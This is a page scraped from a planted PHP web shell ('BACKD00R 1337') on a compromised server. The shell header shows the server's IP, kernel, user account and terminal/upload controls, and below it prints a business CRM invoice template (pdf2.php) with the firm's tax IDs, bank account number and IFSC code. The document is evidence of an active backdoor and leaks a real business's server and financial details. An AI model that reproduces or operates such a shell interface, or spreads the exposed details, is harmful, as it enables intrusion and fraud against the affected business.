BACKD00R 1337
Server IP : 164.52.202.56  /  Your IP : 216.73.216.204
Web Server : Apache
System : Linux e2e-70-56.ssdcloudindia.net 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : rubyaromatics ( 1052)
PHP Version : 7.2.34
Directory (0755) :  /home/rubyaromatics/public_html/crm/application/views/transfer/../sales/

[  Home  ][  Terminal  ][  Upload File  ]

Current File : /home/rubyaromatics/public_html/crm/application/views/transfer/../sales/pdf2.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Invoice</title>
</head>
<style>
body {
	color: #000000;
	background: #FFF;
	font-family: 'Open Sans',sans-serif;
	padding: 0px !important;
	margin: 0px !important;
	font-size: 11px;
	letter-spacing: 0px;
	text-rendering: optimizeLegibility;
}

 .zoom {
  zoom: 50%;
}

@page {
  size: A4 portrait;
  scale :100;
  margin: none;  
}
	table h1{
	color: #353535;
	/*background:#f1f2f7;*/
	font-family: 'Open Sans',sans-serif;
	font-weight: bold;
	padding: 0px !important;
	margin: 0px !important;
	font-size: 13px;
	text-rendering: optimizeLegibility;
	}
	
	.bod
	{
		border-top:#000 solid 1px;
		border-bottom:#000 solid 1px;
	}

	.sdbod-l
		{
			border-left: #000 solid 1px;
		}
	
	.sdbod-r
		{
			border-right:#000 solid 1px;
		}
	.sdbod-t
		{
			border-top:#000 solid 1px;
		}
	.sdbod-b
		{
			border-bottom: #000 solid 1px;
		}
	table h2{
	color: #353535;
	/* background:#f1f2f7;*/
	font-family: 'Open Sans',sans-serif;
	font-weight: bold;
	padding: 0px !important;
	margin: 0px !important;
	font-size: 13px;
	text-align: center;
  text-rendering:optimizeLegibility;
	}

	table h5{
	color: #FF0000;
	/* background:#f1f2f7;*/
	font-family: 'Open Sans',sans-serif;
	font-weight: normal;
	padding: 0px !important;
	margin: 0px !important;
	font-size: 13px;
    text-rendering:optimizeLegibility;
	}

table{
max-width:100%;
background-color:#FFF;
line-height:1.428571429;
vertical-align:top;
text-align: left;
border-top:0px solid #ddd;
}

th{
	text-align: center;
	padding: 0px 10px 0px 10px;
}

td{
	padding: 2px 2px 2px 2px;
	font-size: 11px;
	border: #000 solid 0px;
}

.table1{
max-width:900px;
border:0px solid #ddd;
text-align:center;
}
.style1 {
	font-size: 14px;
	font-weight: bold;
}
</style>

<body>
<div style="margin: 0 auto;" class="table1">
<div > </div>
<table width="100%" border="0" cellpadding="0" cellspacing="0" class="table sdbod-r sdbod-l">
		<tr>
			<td height="30" colspan="12" align="center" class="sdbod-t sdbod-b"><h1>Tax Invoice</h1></td>
    </tr>
  <tr>
    <td width="20%"><img src="<?php echo base_url();?><?php echo $company[0]->logo;?>" width="120" height="120" /></td>
    <td width="58%" align="center" style="font-size:12px;"><h2 style="font-size:25px; color: #000;"><?php echo $company[0]->name;?><br />
    </h2>

    #142,CHHIPATTI,KANNAUJ:209725 (U.P) INDIA <br>
<strong>Tel: </strong> <?php echo empty($company[0]->phone) ? "+91-05694-234194/203194" : $company[0]->phone; ?> <br />
<strong>Email:</strong>: <?php echo empty($company[0]->email) ? "rubyaromatic@gmail.com" : $company[0]->email; ?> <br />
GSTIN:: <strong>09ABQPA2160E1ZY</strong> | I.E.C No:: <strong>0611000806</strong><br />


<strong>www.rubyaromatics.com</strong> | <strong>www.indiamart.com/ruby-aromatics</strong> 
</td>
    <td width="12%" align="left" valign="top" style="font-size:9px;">
    <input id="oforr" type="checkbox" name="check" onclick="onlyOne(this)" checked><label for="oforr">Original for Recipient</label><br>
		<input id="dfortr" type="checkbox" name="check" onclick="onlyOne(this)" ><label for="dfortr">Duplicate for Transport</label><br>
		<input id="tfors" type="checkbox" name="check" onclick="onlyOne(this)" ><label for="tfors">Triplicate for Supplier</label><!--<br>
		<input id="extrac" type="checkbox" name="check" onclick="onlyOne(this)" ><label for="extrac">Extra copy</label>--></td>
  </tr>
  </table>

 <table width="100%" border="0" cellpadding="0" cellspacing="0" class="table sdbod-r sdbod-l" >
  <!-- <tr>
    <td colspan=3><b style="font-size:12px; margin-left:10px;">GSTIN: 09ABQPA2160E1ZY</b></td>
    <td width="106" colspan="-1" class="sdbod-r">&nbsp;</td>
    <td colspan=4><b style="font-size:12px; margin-left:10px;">I.E.C No: 0611000806</b></td>
  </tr> -->
  <tr>
    <td height="2" colspan="8" class="sdbod-b"></td>
  </tr>
  <tr>
    <td width="157" valign="top">Invoice No.<br />
      Invoice Date <br /> Reverse Change (Y/N)<br />      
       State <br /> Origin </td>
    <td width="53" valign="top"><strong>:<br />
      :<br />:
      <br />: <br />:
    </strong></td>
    <td colspan="2" valign="top" class="sdbod-r"><strong><?php echo $data[0]->reference_no; ?></strong> <br />
	  
		<?php  $data[0]->invoice_date;
		
			$yy = substr($data[0]->invoice_date, 0, 4);
			$dd = substr($data[0]->invoice_date, 8, 2);
			$mm = substr($data[0]->invoice_date, 5, 2);
			echo $joins = $dd."-".$mm."-".$yy;
		
		?> <br>
		No<br> <?php echo $company[0]->state_name;?>  <br>  KANNAUJ  </td>
    <td width="109" valign="top">Transport Name <br />
      Vehicle No
      <br />
      RR/GR Number 
      <br />
      RR/GR Date 
      <br />
      Distination</td>
    <td width="42" valign="top"><strong>:<br />
      :<br />:<br>:<br>:
  <br />
    </strong></td>
    <td colspan="2" style="text-transform: uppercase;"width: 35%;" valign="top">
	
	<?php echo $data[0]->transporter_name; ?><br />
    <?php echo $data[0]->vehicle_regn_no;?><br><?php echo $data[0]->gr_num;?><br>
    <?php $data[0]->gr_date;
			$yy = substr($data[0]->gr_date, 0, 4);
			$dd = substr($data[0]->gr_date, 8, 2);
			$mm = substr($data[0]->gr_date, 5, 2);
			echo $joins = $dd."-".$mm."-".$yy;
	?><br>
	<?php $cityid = $data[0]->shipping_city_id;
    echo $this->sales_model->cityidtoname($cityid);
    ?> </td>
    
    </tr>

  
  <tr>
    <td colspan="3" align="center" bgcolor="#E4E4E4" class="sdbod-b sdbod-t"><b>Recipient Address</b></td>
    <td colspan="-1" bgcolor="#E4E4E4" class="sdbod-b sdbod-t"> </td>
    <td colspan="4" align="center" bgcolor="#E4E4E4" class="sdbod-b sdbod-t"><b>Delivery Address</b></td>
  </tr>
  
  <tr>
    <td colspan=3 valign="top">
    <?php $cadd = $data[0]->customer_address;
      echo "<b>".ucfirst($data[0]->customer_company)."</b><br>";
      echo ucfirst(wordwrap($cadd, 30, "<br>\n"))."<br>"; 
      echo "Mobile No. <b>".$data[0]->customer_mobile."</b><br>";
      echo "Email. <b>".$data[0]->customer_email."</b><br>";
      ?>	  </td>
    <td width="111" colspan="-1" class="sdbod-r">&nbsp;</td>
    <td colspan=4 valign="top">
      <?php $sadd = $data[0]->shipping_address;
      echo "<b>".ucfirst($data[0]->customer_company)."</b><br>";
echo ucfirst(wordwrap($sadd, 30, "<br>\n"))."<br>"; 
echo "Mobile No. <b>".$data[0]->customer_mobile."</b><br>";
      echo "Email. <b>".$data[0]->customer_email."</b><br>";
?>    </td>
    </tr>
  
  <tr>
    <td colspan="2" class="sdbod-b sdbod-t" ><b>GSTIN: </b> <?php echo $data[0]->customer_gstid;?></td>
    <td colspan="2" class="sdbod-b sdbod-t sdbod-r" align="right"  style="padding-right:15px;"><b>SATE CODE: </b> <?php echo $this->sales_model->stateidtocode($data[0]->customer_state_id);?></td>
    <td colspan="2" class="sdbod-b sdbod-t" ><b>GSTIN:</b> <?php echo $data[0]->customer_gstid;?></td>
    <td colspan="2" class="sdbod-b sdbod-t" align="right" style="padding-right:15px;"><b>SATE CODE: </b> <?php echo $this->sales_model->stateidtocode($data[0]->cbstate_id); ?></td>
  </tr>
  

  
</table> 
 <table width="100%" border="0" cellpadding="0" cellspacing="0" class="table sdbod-r sdbod-l">

  <tr>
    <td width="5%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b sdbod-r "><strong>Sr. No.</strong></td>
    <td width="35%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b sdbod-r"><strong>Name of Product / Items</strong></td>
    <td width="8%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b sdbod-r"><strong>HSN/ASN</strong></td>
    <td width="8%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b sdbod-r"><strong>Qty/Unit</strong></td>
    <td width="8%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b sdbod-r"><strong>Rate Per Kg</strong></td>
    <!-- <td width="8%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b sdbod-r"><strong>UOM</strong></td> 
    <td width="8%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b sdbod-r"><strong>Size</strong></td> -->
    <?php // if($company[0]->state_id == $data[0]->customer_state_id){ ?>
    <td width="8%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b sdbod-r"><strong>CGST</strong></td>
    <td width="8%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b sdbod-r"><strong>SGST</strong></td>
    <?php // } if($company[0]->state_id != $data[0]->customer_state_id){ ?>
    <td width="8%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b sdbod-r"><strong>IGST</strong></td>
    <?php // } ?>
    <!-- <td width="8%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b sdbod-r"><strong>Less: Discount</strong></td> -->
    <td width="8%" align="center" valign="middle" bgcolor="#E4E4E4" class="sdbod-b"><strong>Amount</strong></td>
  </tr>
  <?php $i = 1;$tot = 0;foreach ($items as $value) { ?>
  <tr>
    <td valign="top" class="sdbod-r"><?php echo $i?>.</td>
    <td valign="top" class="sdbod-r"><?php echo ucfirst($value->name); ?></td>
    <td valign="top" class="sdbod-r"><?php echo $value->hsn_sac_code; ?></td>
    <td valign="top" class="sdbod-r"><?php echo $value->quantity;?> <?php echo $value->unit;?></td>
    <td valign="top" class="sdbod-r"><?php echo $value->price;?></td>
    <!-- <td valign="top" class="sdbod-r"><?php echo $value->unit;?></td>
    <td valign="top" class="sdbod-r"><?php echo $value->size;?></td>  -->
    <?php if($company[0]->state_id == $data[0]->customer_state_id){ 
      $btax = ($value->tax/2);
      $btaxval = $value->tax_value/2;
    }else{
      $btax = '0.00';
      $btaxval = 0;
    }?>
    <td valign="top" class="sdbod-r"><?php echo $btax." [".($btaxval)."%]"; ?></td>
    <td valign="top" class="sdbod-r"><?php echo $btax." [".($btaxval)."%]"; ?></td>
    <?php if($company[0]->state_id != $data[0]->customer_state_id){

	if($value->tax=='0.00' && $value->tax_value=='0.00')
     {
       $btaxx = '0.00';
       $btaxvall = 0;
     }
  else
     {
       $btaxx = $value->tax;
       $btaxvall = $value->tax_value;
      } 
       
    }else{
      $btaxx = '0.00';
      $btaxvall = 0;
    }?>
    <td valign="top" class="sdbod-r"><?php echo $btaxx." [".($btaxvall)."%]"; ?></td>
    <!-- <td valign="top" class="sdbod-r"><?php echo $value->discount_value; ?></td> -->
    <td valign="top"><?php echo $value->gross_total; ?></td>
  </tr>
  <?php $i++;$tot += $value->gross_total; }
  if($i<18) { $i1=$i+1;
  for($j=$i1;$j<=18;$j++){ ?>
    <tr>
      <td valign="top" class="sdbod-r"><?php  // echo $j; ?></td>
      <td valign="top" class="sdbod-r">&nbsp;</td>
      <td valign="top" class="sdbod-r">&nbsp;</td>
      <td valign="top" class="sdbod-r">&nbsp;</td>
      <td valign="top" class="sdbod-r">&nbsp;</td>
      <td valign="top" class="sdbod-r">&nbsp;</td>
      <?php if($company[0]->state_id == $data[0]->customer_state_id){ ?>
      <td valign="top" class="sdbod-r">&nbsp;</td>
      <?php } ?>
      <td valign="top" class="sdbod-r">&nbsp;</td>
      <td valign="top" <?php if($company[0]->state_id != $data[0]->customer_state_id){ ?> class="sdbod-r" <?php } ?>>&nbsp;</td>
    </tr>
  <?php } } ?>

  </table>
  <table width="100%" border="0" cellpadding="0" cellspacing="0" class="table sdbod-r sdbod-l">
  <tr>
    <td colspan="4" class="sdbod-t sdbod-b"><?php echo $data[0]->internal_note; ?></td>
  </tr>
  <tr>
    <td colspan="2"  align="center" class="sdbod-r">-Total Invoice Amount in Words-</td>
    <td width="25%" class="sdbod-b">Total Amount Before Tax</td>
    <td width="11%" align="right" class="sdbod-b sdbod-l"><strong><?php echo number_format((float)$tot, 2, '.', ''); ?></strong></td>
    </tr>
  <tr>
    <td colspan="2" rowspan="2" align="center" class="sdbod-r"> <strong><?php 
   $gtol = $data[0]->total+$data[0]->sship_charge;
   $number = $gtol;
   $no = round($number);
   $point = round($number - $no, 2) * 100;
   $hundred = null;
   $digits_1 = strlen($no);
   $i = 0;
   $str = array();
   $words = array('0' => '', '1' => 'one', '2' => 'two',
    '3' => 'three', '4' => 'four', '5' => 'five', '6' => 'six',
    '7' => 'seven', '8' => 'eight', '9' => 'nine',
    '10' => 'ten', '11' => 'eleven', '12' => 'twelve',
    '13' => 'thirteen', '14' => 'fourteen',
    '15' => 'fifteen', '16' => 'sixteen', '17' => 'seventeen',
    '18' => 'eighteen', '19' =>'nineteen', '20' => 'twenty',
    '30' => 'thirty', '40' => 'forty', '50' => 'fifty',
    '60' => 'sixty', '70' => 'seventy',
    '80' => 'eighty', '90' => 'ninety');
   $digits = array('', 'hundred', 'thousand', 'lakh', 'crore');
   while ($i < $digits_1) {
     $divider = ($i == 2) ? 10 : 100;
     $number = floor($no % $divider);
     $no = floor($no / $divider);
     $i += ($divider == 10) ? 1 : 2;
     if ($number) {
        $plural = (($counter = count($str)) && $number > 9) ? '' : null;
        $hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
        $str [] = ($number < 21) ? $words[$number] .
            " " . $digits[$counter] . $plural . " " . $hundred
            :
            $words[floor($number / 10) * 10]
            . " " . $words[$number % 10] . " "
            . $digits[$counter] . $plural . " " . $hundred;
     } else $str[] = null;
  }
  $str = array_reverse($str);
  $result = implode('', $str);
  $points = ($point) ?
    "." . $words[$point / 10] . " " . 
          $words[$point = $point % 10] : '';
  $result . "Rupees  " . $points;
									?>
		<div style="text-transform: capitalize; font-size:11px"> Rupees: <?php echo $result; ?>Only.</div></strong></td>
    <td class="sdbod-b">Discount</td>
    <td align="right" class="sdbod-b sdbod-l"><?php echo $data[0]->discount_value; ?></td>
    </tr>
  <tr>
    <td class="sdbod-b">Add : CGST</td>
    <td align="right" class="sdbod-b sdbod-l">
    <?php if($company[0]->state_id == $data[0]->customer_state_id){
        echo $data[0]->tax_value/2;
echo ".00";
      } 
      else{
        echo "0.00";
      } ?>    </td>
  </tr>
  <tr>
    <td width="36%" rowspan="7"  align="left" valign="top" class="sdbod-r sdbod-t"><b>Bank of Baroda</b><br>
	  Bank Account Number : 27260200006870<br />
	    Bank  <span class="sdbod-r1">IFSC Code: BARBOBLYKAN </span><br/>	   
		Branch: kannauj 209 725 (U.P) </td>
      
    <td width="28%" rowspan="9"  align="center" valign="top" class="sdbod-r sdbod-t"><strong>For, 
        <?php  echo $company[0]->name;?></strong><br />
		<div style="height:110px;"></div>
        <strong>Authorised Signatory</strong><br />      </td>
    <td class="sdbod-b">Add : SGST</td>
    <td align="right" class="sdbod-b sdbod-l">
    <?php if($company[0]->state_id == $data[0]->customer_state_id){
        echo $data[0]->tax_value/2;
echo ".00";
      } 
      else{
        echo "0.00";
      } ?>    </td>
    </tr>
  <tr>
    <td class="sdbod-b">Add : IGST</td>
    <td align="right" class="sdbod-b sdbod-l">
    <?php if($company[0]->state_id != $data[0]->customer_state_id){
        echo $data[0]->tax_value;

      } 
      else{
        echo "0.00";
      } ?>    </td>
    </tr>
  <tr>
    <td class="sdbod-b">Tax Amount : GST</td>
    <td align="right" class="sdbod-b sdbod-l"><?php echo $data[0]->tax_value; ?></td>
    </tr>
  <tr>
    <td class="sdbod-b">Shipping Charge :</td>
    <td align="right" class="sdbod-b sdbod-l"><?php echo $data[0]->sship_charge; ?> </td>
    </tr>
  <tr>
    <td rowspan="4" bgcolor="#E4E4E4" class="sdbod-b"><span class="style1">INVOICE AMOUNT</span></td>
    <td rowspan="4" align="right" bgcolor="#E4E4E4" class="sdbod-b sdbod-l"><span class="style1"><?php echo number_format((float)$gtol, 2, '.', ''); ?></span></td>
  </tr>
  <tr>    </tr>
  <tr>    </tr>
  <tr>
    <td width="36%" rowspan="2"  align="left" valign="top" class="sdbod-r sdbod-t">
      <strong>E&amp;.O.E :</strong><br>
	  All payments by A/C payee cheque only.
	  interest @ 21% will be charged
	  if payment is not made on presentation. This Invoice is good for payment at any time on demand.
      </td>
    </tr>
  <tr>
    <td colspan="2" align="center">&nbsp;</td>
    </tr>
  <tr>
    <td height="2" colspan="8" class="sdbod-t sdbod-b"><center><h4 style="margin:0">! THANKS FOR BUSINESS WITH US !</h4></center></td>
    </tr>
  </table>

</div>
<script type="text/javascript">
  function onlyOne(checkbox) {
    var checkboxes = document.getElementsByName('check')
    checkboxes.forEach((item) => {
        if (item !== checkbox) item.checked = false
    })
  }
 window.print();
</script>
</body>
</html>

security is just an illusion